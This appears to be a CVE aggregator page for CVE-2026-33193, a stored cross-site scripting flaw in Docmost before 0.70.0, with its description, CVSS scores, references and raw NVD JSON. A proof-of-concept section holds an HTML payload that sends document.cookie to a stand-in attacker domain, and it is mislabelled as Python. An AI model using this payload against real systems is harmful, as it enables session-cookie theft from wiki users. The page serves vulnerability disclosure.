CVE-2026-33193

Description

Docmost is open-source collaborative wiki and documentation software. Versions prior to 0.70.0 are vulnerable to a stored cross-site scripting (XSS) attack due to improper handling of MIME type spoofing (GHSL-2026-052). An attacker could exploit this flaw to inject malicious scripts, potentially compromising the security of users and data. Version 0.70.0 contains a patch.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:* - VULNERABLE

Docmost < 0.70.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept: MIME Spoofing XSS -->
<!-- 1. Create a file named exploit.html -->
<!-- 2. Send it to the server with Content-Type: image/jpeg -->
<!-- 3. Trigger the view on the target page -->

<html>
<body>
<script>
  // Simple payload to verify execution
  alert('CVE-2026-33193 XSS Triggered');
  
  // Exfiltrate document cookie
  var img = new Image();
  img.src = "http://attacker-controlled-domain.com/collect?c=" + encodeURIComponent(document.cookie);
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33193
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33193
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33193/
[4] VulDB https://vuldb.com/cve/CVE-2026-33193
[5] https://github.com/docmost/docmost/security/advisories/GHSA-7cq4-577p-wp6p

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33193", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:30.867", "lastModified": "2026-04-23T14:17:27.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docmost is open-source collaborative wiki and documentation software. Versions prior to 0.70.0 are vulnerable to a stored cross-site scripting (XSS) attack due to improper handling of MIME type spoofing (GHSL-2026-052). An attacker could exploit this flaw to inject malicious scripts, potentially compromising the security of users and data. Version 0.70.0 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.70.0", "matchCriteriaId": "A06B1F8A-400A-4DFC-98D5-ABAED75EDB69"}]}]}], "references": [{"url": "https://github.com/docmost/docmost/security/advisories/GHSA-7cq4-577p-wp6p", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}